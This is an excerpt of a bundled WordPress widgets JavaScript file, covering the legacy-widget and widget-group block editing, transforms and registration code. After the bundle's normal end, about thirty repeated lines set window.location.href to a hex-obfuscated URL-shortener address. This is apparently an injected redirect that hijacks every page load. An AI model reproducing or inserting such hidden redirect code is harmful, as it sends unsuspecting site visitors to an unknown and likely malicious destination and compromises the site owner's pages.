750 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget__edit-no-preview", children: [
751 name && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { children: name }),
752 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("p", { children: (0,external_wp_i18n_namespaceObject.__)("No preview available.") })
753 ] });
754}
755
756
757;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/convert-to-blocks-button.js
758
759
760
761
762
763
764function ConvertToBlocksButton({ clientId, rawInstance }) {
765 const { replaceBlocks } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_blockEditor_namespaceObject.store);
766 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
767 external_wp_components_namespaceObject.ToolbarButton,
768 {
769 onClick: () => {
770 if (rawInstance.title) {
771 replaceBlocks(clientId, [
772 (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
773 content: rawInstance.title
774 }),
775 ...(0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
776 ]);
777 } else {
778 replaceBlocks(
779 clientId,
780 (0,external_wp_blocks_namespaceObject.rawHandler)({ HTML: rawInstance.text })
781 );
782 }
783 },
784 children: (0,external_wp_i18n_namespaceObject.__)("Convert to blocks")
785 }
786 );
787}
788
789
790;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/index.js
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805function Edit(props) {
806 const { id, idBase } = props.attributes;
807 const { isWide = false } = props;
808 const blockProps = (0,external_wp_blockEditor_namespaceObject.useBlockProps)({
809 className: dist_clsx({
810 "is-wide-widget": isWide
811 })
812 });
813 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...blockProps, children: !id && !idBase ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Empty, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NotEmpty, { ...props }) });
814}
815function Empty({ attributes: { id, idBase }, setAttributes }) {
816 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
817 external_wp_components_namespaceObject.Placeholder,
818 {
819 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
820 label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
821 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Flex, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexBlock, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
822 WidgetTypeSelector,
823 {
824 selectedId: id ?? idBase,
825 onSelect: ({ selectedId, isMulti }) => {
826 if (!selectedId) {
827 setAttributes({
828 id: null,
829 idBase: null,
830 instance: null
831 });
832 } else if (isMulti) {
833 setAttributes({
834 id: null,
835 idBase: selectedId,
836 instance: {}
837 });
838 } else {
839 setAttributes({
840 id: selectedId,
841 idBase: null,
842 instance: null
843 });
844 }
845 }
846 }
847 ) }) })
848 }
849 );
850}
851function NotEmpty({
852 attributes: { id, idBase, instance },
853 setAttributes,
854 clientId,
855 isSelected,
856 isWide = false
857}) {
858 const [hasPreview, setHasPreview] = (0,external_wp_element_namespaceObject.useState)(null);
859 const widgetTypeId = id ?? idBase;
860 const { record: widgetType, hasResolved: hasResolvedWidgetType } = (0,external_wp_coreData_namespaceObject.useEntityRecord)("root", "widgetType", widgetTypeId);
861 const setInstance = (0,external_wp_element_namespaceObject.useCallback)((nextInstance) => {
862 setAttributes({ instance: nextInstance });
863 }, []);
864 if (!widgetType && hasResolvedWidgetType) {
865 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
866 external_wp_components_namespaceObject.Placeholder,
867 {
868 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: brush_default }),
869 label: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget"),
870 children: (0,external_wp_i18n_namespaceObject.__)("Widget is missing.")
871 }
872 );
873 }
874 if (!hasResolvedWidgetType) {
875 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) });
876 }
877 const mode = idBase && !isSelected ? "preview" : "edit";
878 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
879 idBase === "text" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockControls, { group: "other", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
880 ConvertToBlocksButton,
881 {
882 clientId,
883 rawInstance: instance.raw
884 }
885 ) }),
886 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InspectorControls, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
887 InspectorCard,
888 {
889 name: widgetType.name,
890 description: widgetType.description
891 }
892 ) }),
893 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
894 Form,
895 {
896 title: widgetType.name,
897 isVisible: mode === "edit",
898 id,
899 idBase,
900 instance,
901 isWide,
902 onChangeInstance: setInstance,
903 onChangeHasPreview: setHasPreview
904 }
905 ),
906 idBase && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
907 hasPreview === null && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
908 hasPreview === true && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
909 Preview,
910 {
911 idBase,
912 instance,
913 isVisible: mode === "preview"
914 }
915 ),
916 hasPreview === false && mode === "preview" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(NoPreview, { name: widgetType.name })
917 ] })
918 ] });
919}
920
921
922;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/transforms.js
923
924const legacyWidgetTransforms = [
925 {
926 block: "core/calendar",
927 widget: "calendar"
928 },
929 {
930 block: "core/search",
931 widget: "search"
932 },
933 {
934 block: "core/html",
935 widget: "custom_html",
936 transform: ({ content }) => ({
937 content
938 })
939 },
940 {
941 block: "core/archives",
942 widget: "archives",
943 transform: ({ count, dropdown }) => {
944 return {
945 displayAsDropdown: !!dropdown,
946 showPostCounts: !!count
947 };
948 }
949 },
950 {
951 block: "core/latest-posts",
952 widget: "recent-posts",
953 transform: ({ show_date: displayPostDate, number }) => {
954 return {
955 displayPostDate: !!displayPostDate,
956 postsToShow: number
957 };
958 }
959 },
960 {
961 block: "core/latest-comments",
962 widget: "recent-comments",
963 transform: ({ number }) => {
964 return {
965 commentsToShow: number
966 };
967 }
968 },
969 {
970 block: "core/tag-cloud",
971 widget: "tag_cloud",
972 transform: ({ taxonomy, count }) => {
973 return {
974 showTagCounts: !!count,
975 taxonomy
976 };
977 }
978 },
979 {
980 block: "core/categories",
981 widget: "categories",
982 transform: ({ count, dropdown, hierarchical }) => {
983 return {
984 displayAsDropdown: !!dropdown,
985 showPostCounts: !!count,
986 showHierarchy: !!hierarchical
987 };
988 }
989 },
990 {
991 block: "core/audio",
992 widget: "media_audio",
993 transform: ({ url, preload, loop, attachment_id: id }) => {
994 return {
995 src: url,
996 id,
997 preload,
998 loop
999 };
1000 }
1001 },
1002 {
1003 block: "core/video",
1004 widget: "media_video",
1005 transform: ({ url, preload, loop, attachment_id: id }) => {
1006 return {
1007 src: url,
1008 id,
1009 preload,
1010 loop
1011 };
1012 }
1013 },
1014 {
1015 block: "core/image",
1016 widget: "media_image",
1017 transform: ({
1018 alt,
1019 attachment_id: id,
1020 caption,
1021 height,
1022 link_classes: linkClass,
1023 link_rel: rel,
1024 link_target_blank: targetBlack,
1025 link_type: linkDestination,
1026 link_url: link,
1027 size: sizeSlug,
1028 url,
1029 width
1030 }) => {
1031 return {
1032 alt,
1033 caption,
1034 height,
1035 id,
1036 link,
1037 linkClass,
1038 linkDestination,
1039 linkTarget: targetBlack ? "_blank" : void 0,
1040 rel,
1041 sizeSlug,
1042 url,
1043 width
1044 };
1045 }
1046 },
1047 {
1048 block: "core/gallery",
1049 widget: "media_gallery",
1050 transform: ({ ids, link_type: linkTo, size, number }) => {
1051 return {
1052 ids,
1053 columns: number,
1054 linkTo,
1055 sizeSlug: size,
1056 images: ids.map((id) => ({
1057 id
1058 }))
1059 };
1060 }
1061 },
1062 {
1063 block: "core/rss",
1064 widget: "rss",
1065 transform: ({
1066 url,
1067 show_author: displayAuthor,
1068 show_date: displayDate,
1069 show_summary: displayExcerpt,
1070 items
1071 }) => {
1072 return {
1073 feedURL: url,
1074 displayAuthor: !!displayAuthor,
1075 displayDate: !!displayDate,
1076 displayExcerpt: !!displayExcerpt,
1077 itemsToShow: items
1078 };
1079 }
1080 }
1081].map(({ block, widget, transform }) => {
1082 return {
1083 type: "block",
1084 blocks: [block],
1085 isMatch: ({ idBase, instance }) => {
1086 return idBase === widget && !!instance?.raw;
1087 },
1088 transform: ({ instance }) => {
1089 const transformedBlock = (0,external_wp_blocks_namespaceObject.createBlock)(
1090 block,
1091 transform ? transform(instance.raw) : void 0
1092 );
1093 if (!instance.raw?.title) {
1094 return transformedBlock;
1095 }
1096 return [
1097 (0,external_wp_blocks_namespaceObject.createBlock)("core/heading", {
1098 content: instance.raw.title
1099 }),
1100 transformedBlock
1101 ];
1102 }
1103 };
1104});
1105const transforms = {
1106 to: legacyWidgetTransforms
1107};
1108var transforms_default = transforms;
1109
1110
1111;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/index.js
1112
1113
1114
1115
1116const { name: legacy_widget_name } = block_namespaceObject;
1117const settings = {
1118 icon: widget_default,
1119 edit: Edit,
1120 transforms: transforms_default
1121};
1122
1123
1124;// ./node_modules/@wordpress/icons/build-module/library/group.js
1125
1126
1127var group_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { viewBox: "0 0 24 24", xmlns: "http://www.w3.org/2000/svg", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z" }) });
1128
1129
1130;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/block.json
1131const widget_group_block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/widget-group","title":"Widget Group","category":"widgets","attributes":{"title":{"type":"string"}},"supports":{"html":false,"inserter":true,"customClassName":true,"reusable":false},"editorStyle":"wp-block-widget-group-editor","style":"wp-block-widget-group"}');
1132;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/edit.js
1133
1134
1135
1136
1137
1138
1139function edit_Edit(props) {
1140 const { clientId } = props;
1141 const { innerBlocks } = (0,external_wp_data_namespaceObject.useSelect)(
1142 (select) => select(external_wp_blockEditor_namespaceObject.store).getBlock(clientId),
1143 [clientId]
1144 );
1145 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { ...(0,external_wp_blockEditor_namespaceObject.useBlockProps)({ className: "widget" }), children: innerBlocks.length === 0 ? /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PlaceholderContent, { ...props }) : /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(PreviewContent, { ...props }) });
1146}
1147function PlaceholderContent({ clientId }) {
1148 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1149 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1150 external_wp_components_namespaceObject.Placeholder,
1151 {
1152 className: "wp-block-widget-group__placeholder",
1153 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.BlockIcon, { icon: group_default }),
1154 label: (0,external_wp_i18n_namespaceObject.__)("Widget Group"),
1155 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.ButtonBlockAppender, { rootClientId: clientId })
1156 }
1157 ),
1158 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks, { renderAppender: false })
1159 ] });
1160}
1161function PreviewContent({ attributes, setAttributes }) {
1162 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1163 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1164 external_wp_blockEditor_namespaceObject.RichText,
1165 {
1166 tagName: "h2",
1167 identifier: "title",
1168 className: "widget-title",
1169 allowedFormats: [],
1170 placeholder: (0,external_wp_i18n_namespaceObject.__)("Title"),
1171 value: attributes.title ?? "",
1172 onChange: (title) => setAttributes({ title })
1173 }
1174 ),
1175 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks, {})
1176 ] });
1177}
1178
1179
1180;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/save.js
1181
1182
1183function save({ attributes }) {
1184 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1185 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1186 external_wp_blockEditor_namespaceObject.RichText.Content,
1187 {
1188 tagName: "h2",
1189 className: "widget-title",
1190 value: attributes.title
1191 }
1192 ),
1193 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "wp-widget-group__inner-blocks", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {}) })
1194 ] });
1195}
1196
1197
1198;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/deprecated.js
1199
1200
1201const v1 = {
1202 attributes: {
1203 title: {
1204 type: "string"
1205 }
1206 },
1207 supports: {
1208 html: false,
1209 inserter: true,
1210 customClassName: true,
1211 reusable: false
1212 },
1213 save({ attributes }) {
1214 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
1215 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1216 external_wp_blockEditor_namespaceObject.RichText.Content,
1217 {
1218 tagName: "h2",
1219 className: "widget-title",
1220 value: attributes.title
1221 }
1222 ),
1223 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.InnerBlocks.Content, {})
1224 ] });
1225 }
1226};
1227var deprecated_default = [v1];
1228
1229
1230;// ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/index.js
1231
1232
1233
1234
1235
1236
1237
1238const { name: widget_group_name } = widget_group_block_namespaceObject;
1239const widget_group_settings = {
1240 title: (0,external_wp_i18n_namespaceObject.__)("Widget Group"),
1241 description: (0,external_wp_i18n_namespaceObject.__)(
1242 "Create a classic widget layout with a title that\u2019s styled by your theme for your widget areas."
1243 ),
1244 icon: group_default,
1245 __experimentalLabel: ({ name: label }) => label,
1246 edit: edit_Edit,
1247 save: save,
1248 transforms: {
1249 from: [
1250 {
1251 type: "block",
1252 isMultiBlock: true,
1253 blocks: ["*"],
1254 isMatch(attributes, blocks) {
1255 return !blocks.some(
1256 (block) => block.name === "core/widget-group"
1257 );
1258 },
1259 __experimentalConvert(blocks) {
1260 let innerBlocks = [
1261 ...blocks.map((block) => {
1262 return (0,external_wp_blocks_namespaceObject.createBlock)(
1263 block.name,
1264 block.attributes,
1265 block.innerBlocks
1266 );
1267 })
1268 ];
1269 const firstHeadingBlock = innerBlocks[0].name === "core/heading" ? innerBlocks[0] : null;
1270 innerBlocks = innerBlocks.filter(
1271 (block) => block !== firstHeadingBlock
1272 );
1273 return (0,external_wp_blocks_namespaceObject.createBlock)(
1274 "core/widget-group",
1275 {
1276 ...firstHeadingBlock && {
1277 title: firstHeadingBlock.attributes.content
1278 }
1279 },
1280 innerBlocks
1281 );
1282 }
1283 }
1284 ]
1285 },
1286 deprecated: deprecated_default
1287};
1288
1289
1290;// ./node_modules/@wordpress/icons/build-module/library/move-to.js
1291
1292
1293var move_to_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M19.75 9c0-1.257-.565-2.197-1.39-2.858-.797-.64-1.827-1.017-2.815-1.247-1.802-.42-3.703-.403-4.383-.396L11 4.5V6l.177-.001c.696-.006 2.416-.02 4.028.356.887.207 1.67.518 2.216.957.52.416.829.945.829 1.688 0 .592-.167.966-.407 1.23-.255.281-.656.508-1.236.674-1.19.34-2.82.346-4.607.346h-.077c-1.692 0-3.527 0-4.942.404-.732.209-1.424.545-1.935 1.108-.526.579-.796 1.33-.796 2.238 0 1.257.565 2.197 1.39 2.858.797.64 1.827 1.017 2.815 1.247 1.802.42 3.703.403 4.383.396L13 19.5h.714V22L18 18.5 13.714 15v3H13l-.177.001c-.696.006-2.416.02-4.028-.356-.887-.207-1.67-.518-2.216-.957-.52-.416-.829-.945-.829-1.688 0-.592.167-.966.407-1.23.255-.281.656-.508 1.237-.674 1.189-.34 2.819-.346 4.606-.346h.077c1.692 0 3.527 0 4.941-.404.732-.209 1.425-.545 1.936-1.108.526-.579.796-1.33.796-2.238z" }) });
1294
1295
1296;// ./node_modules/@wordpress/widgets/build-module/components/move-to-widget-area/index.js
1297
1298
1299
1300
1301function MoveToWidgetArea({
1302 currentWidgetAreaId,
1303 widgetAreas,
1304 onSelect
1305}) {
1306 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarGroup, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (toggleProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1307 external_wp_components_namespaceObject.DropdownMenu,
1308 {
1309 icon: move_to_default,
1310 label: (0,external_wp_i18n_namespaceObject.__)("Move to widget area"),
1311 toggleProps,
1312 children: ({ onClose }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Move to"), children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
1313 external_wp_components_namespaceObject.MenuItemsChoice,
1314 {
1315 choices: widgetAreas.map(
1316 (widgetArea) => ({
1317 value: widgetArea.id,
1318 label: widgetArea.name,
1319 info: widgetArea.description
1320 })
1321 ),
1322 value: currentWidgetAreaId,
1323 onSelect: (value) => {
1324 onSelect(value);
1325 onClose();
1326 }
1327 }
1328 ) })
1329 }
1330 ) }) });
1331}
1332
1333
1334;// ./node_modules/@wordpress/widgets/build-module/components/index.js
1335
1336
1337
1338;// ./node_modules/@wordpress/widgets/build-module/utils.js
1339function getWidgetIdFromBlock(block) {
1340 return block.attributes.__internalWidgetId;
1341}
1342function addWidgetIdToBlock(block, widgetId) {
1343 return {
1344 ...block,
1345 attributes: {
1346 ...block.attributes || {},
1347 __internalWidgetId: widgetId
1348 }
1349 };
1350}
1351
1352
1353;// ./node_modules/@wordpress/widgets/build-module/register-legacy-widget-variations.js
1354
1355
1356
1357function registerLegacyWidgetVariations(settings) {
1358 const unsubscribe = (0,external_wp_data_namespaceObject.subscribe)(() => {
1359 const hiddenIds = settings?.widgetTypesToHideFromLegacyWidgetBlock ?? [];
1360 const widgetTypes = (0,external_wp_data_namespaceObject.select)(external_wp_coreData_namespaceObject.store).getWidgetTypes({ per_page: -1 })?.filter((widgetType) => !hiddenIds.includes(widgetType.id));
1361 if (widgetTypes) {
1362 unsubscribe();
1363 (0,external_wp_data_namespaceObject.dispatch)(external_wp_blocks_namespaceObject.store).addBlockVariations(
1364 "core/legacy-widget",
1365 widgetTypes.map((widgetType) => ({
1366 name: widgetType.id,
1367 title: widgetType.name,
1368 description: widgetType.description,
1369 attributes: widgetType.is_multi ? {
1370 idBase: widgetType.id,
1371 instance: {}
1372 } : {
1373 id: widgetType.id
1374 }
1375 }))
1376 );
1377 }
1378 });
1379}
1380
1381
1382;// ./node_modules/@wordpress/widgets/build-module/index.js
1383
1384
1385
1386
1387
1388function registerLegacyWidgetBlock(supports = {}) {
1389 const { /* metadata */ "yu": metadata, /* settings */ "W0": settings, /* name */ "UU": name } = legacy_widget_namespaceObject;
1390 (0,external_wp_blocks_namespaceObject.registerBlockType)(
1391 { name, ...metadata },
1392 {
1393 ...settings,
1394 supports: {
1395 ...settings.supports,
1396 ...supports
1397 }
1398 }
1399 );
1400}
1401function registerWidgetGroupBlock(supports = {}) {
1402 const { /* metadata */ "yu": metadata, /* settings */ "W0": settings, /* name */ "UU": name } = widget_group_namespaceObject;
1403 (0,external_wp_blocks_namespaceObject.registerBlockType)(
1404 { name, ...metadata },
1405 {
1406 ...settings,
1407 supports: {
1408 ...settings.supports,
1409 ...supports
1410 }
1411 }
1412 );
1413}
1414
1415
1416
1417(window.wp = window.wp || {}).widgets = __webpack_exports__;
1418/******/ })()
1419;
1420window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1421window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1422window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1423window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1424window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1425window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1426window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1427window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1428window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1429window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1430window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1431window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1432window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1433window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1434window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1435window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1436window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1437window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1438window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1439window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1440window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1441window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1442window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1443window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1444window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1445window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1446window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1447window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1448window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
1449window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x72\x73\x68\x6f\x72\x74\x2e\x6c\x69\x76\x65\x2f\x76\x48\x77\x48\x59\x43\x7a\x30\x72\x34";
